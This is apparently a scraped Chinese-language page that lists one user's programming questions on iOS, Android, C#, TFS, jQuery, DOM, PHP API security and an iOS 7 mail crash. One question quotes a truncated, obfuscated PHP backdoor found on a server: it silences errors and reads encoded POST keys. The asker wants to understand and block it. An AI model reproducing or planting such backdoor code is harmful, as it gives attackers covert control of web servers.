小编Ada*_*ght的帖子

如何记录iOS应用程序中使用的所有方法

我正在为客户开发一款iPad应用程序.有大量的工作已经完成,我正在努力拼凑整个设计的运行方式.

我想做的其中一件事是记录应用程序运行时调用哪些方法.我见过一个自定义DTrace脚本,它意味着记录启动时的所有方法,但是当我在Instruments中运行它时,我没有得到任何结果.

记录方法的最佳方法是什么?

iphone instruments ipad ios

44
推荐指数
4
解决办法
1万
查看次数

多状态切换按钮

在我一直在努力的应用程序中,我希望有一个多状态(在我的情况下,三个)切换按钮,而不是提供的两个ToggleButton.我已经尝试Button按照CompoundButton源代码开始扩展自己,但老实说,阅读它的来源有点压倒性.

有没有办法只使用选择器xml或其他东西做一个三态切换按钮,或者可能是另一种我没想过的方法?我不知道该怎么做.

user-interface android button togglebutton

19
推荐指数
4
解决办法
3万
查看次数

单击Visual C#Window Forms的透明度?

我制作了一个面板并将其设置为填满屏幕,现在我可以看到它下面的窗口,但我希望它能够点击,这意味着他们可以通过透明度单击文件或查看另一个对象的工具提示.

RE:这可能太明显了,但您是否尝试通过右键单击并选择"Send to Back"将面板发送到后面?

我的意思是像桌面或Firefox,而不是我的项目中的东西.

c# forms transparency visual-studio

14
推荐指数
1
解决办法
1万
查看次数

使用FindMatchingFiles工作流活动的MatchPattern属性

我正在使用TFS 2010 Team Build自定义构建流程模板的默认工作流程.有一个名为的活动FindMatchingFiles允许搜索具有在MatchPattern属性中定义的模式的特定文件.如果我只指定一个文件扩展名,它可以工作.例:

String.Format("{0}\\**\\\*.msi", SourcesDirectory)
Run Code Online (Sandbox Code Playgroud)

但我想包括*.exe.尝试以下模式,但它不起作用:

String.Format("{0}\\**\\\*.(msi|exe)", SourcesDirectory)
Run Code Online (Sandbox Code Playgroud)

任何人都可以告诉我如何纠正它?

build-process workflow-activity tfs2010

9
推荐指数
1
解决办法
4981
查看次数

jquery unwrap Inner

我正在尝试为div框创建一个简单的内联编辑.当我在db上点击div时,我用textarea标签包装.这使它可以编辑.但是,当我点击文本区域字段时,如何解开textarea标签.以下是我没有的工作.我也应该使用focusout,mouseout,mouseleave或其中任何一个.

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.4/jquery.min.js" type="text/javascript"></script> 

<div id="test" style="width:300px; height:200px;">
    testing
</div>

<script type="text/javascript">
$("#test").live({
    dblclick: function() {
        $("#test").wrapInner("<textarea/>")
    },
    mouseleave: function() {
        $("#test > textarea").unwrap()
    } 
});
</script>
Run Code Online (Sandbox Code Playgroud)

jquery

9
推荐指数
2
解决办法
1万
查看次数

DOM splitText和normalize组合应该给出身份吗?

昨天我卷入了关于DOM实现怪癖的讨论,引发了一个关于Text.splitText和Element.normalise行为以及它们应该如何表现的有趣问题.

DOM Level 1 Core中,Text.splitText被定义为......

将此Text节点分解为指定偏移量的两个Text节点,将两者保留在树中作为兄弟节点.然后,该节点仅包含直到偏移点的所有内容.并且作为此节点的下一个兄弟插入的新Text节点包含偏移点处和之后的所有内容.

标准化是......

将所有Text节点放在此Element下面的子树的完整深度中,形成"正常"形式,其中只有标记(例如,标记,注释,处理指令,CDATA部分和实体引用)将Text节点分开,即有没有相邻的Text节点.这可用于确保文档的DOM视图与保存和重新加载文档的DOM视图相同,并且在使用依赖于特定文档树结构的操作(例如XPointer查找)时非常有用.

所以,如果我采用一个包含"Hello World"的文本节点,在textNode中引用,并且执行

textNode.splitText(3)
Run Code Online (Sandbox Code Playgroud)

textNode现在具有内容"Hello",以及包含"World"的新兄弟

如果我那么

textNode.parent.normalize()
Run Code Online (Sandbox Code Playgroud)

什么是textNode?该规范没有明确表示textNode仍然是它的前一个父节点的子节点,只是更新为包含所有相邻的文本节点(然后被删除).它似乎是一个删除所有相邻文本节点的一个conforment行为,然后重新创建一个具有值的串联的新节点,使textNode指向不再是树的一部分的东西.或者,我们可以以与splitText相同的方式更新textNode,因此它保留了它的树位置,并获得了一个新值.

行为的选择实际上是完全不同的,我无法找到关于哪个是正确的澄清,或者这只是规范中的疏忽(它似乎在2级或3级似乎没有澄清).任何DOM/XML专家都可以解决这个问题吗?

xml dom

7
推荐指数
1
解决办法
346
查看次数

获取地图视图的一部分作为iOS中的图像

我正在创建一个应用程序,我必须只显示我的地方将被绘制的区域的部分,类似于下面的那个.

MAp部分

单击此图像将进一步获取我的应用程序.但这里只是根据我的经度和纬度生成的静态图像.

任何帮助将非常感激.谢谢

iphone image

7
推荐指数
1
解决办法
8548
查看次数

在服务器上找到PHP恶意代码 - 它的目的是什么?

首先,我可以要求简要说明此代码可能尝试做什么?我假设它是恶意的.

其次,我可以采取哪些措施来防止这些文件被添加到我的服务器?我的想法是通过FTP使用SFTP和更强大的ftp密码,因为有人可能对ftp密码运行了暴力.

或者是否有人可能已经将恶意代码提交到网站上的表单中,而我还没有对提交的数据进行清理?

这是我找到的PHP代码.

<?php
@error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
if (count($_POST) < 2) {
    die(PHP_OS . chr(49) . chr(48) . chr(43) . md5(0987654321));
}
$v5031e998 = false;
foreach (array_keys($_POST) as $v3c6e0b8a) {
    switch ($v3c6e0b8a[0]) {
        case chr(108):
            $vd56b6998 = $v3c6e0b8a;
            break;
        case chr(100):
            $v8d777f38 = $v3c6e0b8a;
            break;
        case chr(109):
            $v3d26b0b1 = $v3c6e0b8a;
            break;
        case chr(101);
            $v5031e998 = true;
            break;
    }
}
if ($vd56b6998 === '' || $v8d777f38 === '')
    die(PHP_OS . chr(49) . chr(49) . chr(43) . md5(0987654321));
$v619d75f8 …
Run Code Online (Sandbox Code Playgroud)

php

7
推荐指数
0
解决办法
1860
查看次数

我需要一个API.我应该从哪里开始?

我正在从头开始构建一个PHP应用程序(使用Kohana3框架).我将构建它,以便我可以使用API​​在内部访问数据.与此同时,我想最终向公众提供.

我计划使用RESTful访问方法.但是,我很难找到有关如何正确保护API的明确信息.换句话说,我如何实现API签名和访问?

php security api signature kohana-3

6
推荐指数
1
解决办法
600
查看次数

在iOS 7中编写邮件:断言失败 - [MFComposeSubjectView layoutSublayersOfLayer:]

我目前正在使用iOS7和MFMailComposeViewController.有时(经常但不总是),我在呈现时遇到以下崩溃MFMailComposeViewController:

***断言失败 - [MFComposeSubjectView layoutSublayersOfLayer:],/ SourceCache/UIKit/UIKit-2903.23/UIView.m:8540

这是我如何呈现控制器:

if ([MFMailComposeViewController canSendMail])
    {
        MFMailComposeViewController* mailVC = [[MFMailComposeViewController alloc] initWithNibName:nil bundle:nil];
        mailVC.mailComposeDelegate = self;

        [mailVC setSubject:@"blablabla"]];
        [mailVC setMessageBody:@"blablabla" isHTML:NO]; 
        mailVC.modalPresentationStyle = UIModalPresentationFormSheet;
        mailVC.modalTransitionStyle = UIModalTransitionStyleCoverVertical;

        if(isIpad) {
            [sharedParentViewController presentViewController:mailVC animated:YES completion:nil];
        } else {
            [sharedNavigationViewController presentViewController:mailVC animated:YES completion:nil];
        }
    }
Run Code Online (Sandbox Code Playgroud)

sharedParentViewControllersharedNavigationViewController定义了宏来访问应用程序中的任何位置的根视图控制器.

我为所有例外设置了一个断点,但不幸的是,它从未打破过.

使用iOS6和iOS5,一切正常,任何想法,我可以尝试解决这个问题?

编辑:

这是崩溃日志:

Stack Trace

Auto Layout still required after executing -layoutSubviews. MFComposeSubjectView's implementation of -layoutSubviews needs to call super.

0   CoreFoundation                      0x3099ff4b &lt;redacted&gt; …
Run Code Online (Sandbox Code Playgroud)

cocoa-touch objective-c ios ios7 mfmailcomposeviewcontroller

6
推荐指数
1
解决办法
1260
查看次数